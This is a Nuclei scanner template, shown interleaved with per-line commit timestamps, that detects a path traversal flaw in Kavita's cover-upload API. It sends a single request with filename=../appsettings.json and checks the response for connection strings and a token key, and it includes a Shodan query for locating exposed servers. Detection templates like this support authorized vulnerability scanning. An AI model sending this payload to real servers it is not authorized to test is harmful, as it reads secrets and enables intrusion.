2022-08-12 07:11:00 +00:00
|
|
|
id: kavita-lfi
|
|
|
|
|
|
|
|
info:
|
2023-01-16 17:41:15 +00:00
|
|
|
name: Kavita - Local File Inclusion
|
2022-08-12 07:11:00 +00:00
|
|
|
author: arafatansari
|
2023-03-03 15:27:54 +00:00
|
|
|
severity: high
|
2022-08-12 07:11:00 +00:00
|
|
|
description: |
|
2023-01-16 17:41:15 +00:00
|
|
|
Kavita - Path Traversal is vulnerable to local file inclusion via abusing the Path Traversal filename parameter of the /api/image/cover-upload.
|
2022-08-12 07:11:00 +00:00
|
|
|
reference:
|
|
|
|
- https://huntr.dev/bounties/2eef332b-65d2-4f13-8c39-44a8771a6f18/
|
2023-01-16 17:41:15 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 7.5
|
|
|
|
cwe-id: CWE-22
|
2024-09-10 08:22:50 +00:00
|
|
|
cpe: cpe:2.3:a:kavitareader:kavita:*:*:*:*:*:*:*:*
|
2023-10-14 11:27:55 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
|
|
|
max-request: 1
|
|
|
|
shodan-query: http.html:"kavita"
|
2024-09-10 08:22:50 +00:00
|
|
|
product: kavita
|
|
|
|
vendor: kavitareader
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: kavita,lfi,huntr
|
2022-08-12 10:44:39 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-08-12 07:11:00 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/api/image/cover-upload?filename=../appsettings.json'
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
2022-08-12 10:44:39 +00:00
|
|
|
part: body
|
2022-08-12 07:11:00 +00:00
|
|
|
words:
|
2022-08-12 23:23:16 +00:00
|
|
|
- '"ConnectionStrings":'
|
|
|
|
- '"Path":'
|
|
|
|
- '"TokenKey":'
|
2022-08-12 07:11:00 +00:00
|
|
|
condition: and
|
2022-08-12 10:44:39 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2024-09-12 05:14:01 +00:00
|
|
|
# digest: 4a0a00473045022100c5e9beccdccc13b891bd47bb4b2f671166fe850fcf753a3f484ff1f4becf1ec302207c31da2c93768067455213678b22f8c68cfdb351a085f7650ad4c166e850e73d:922c64590222798bb761d5b6d8e72950
|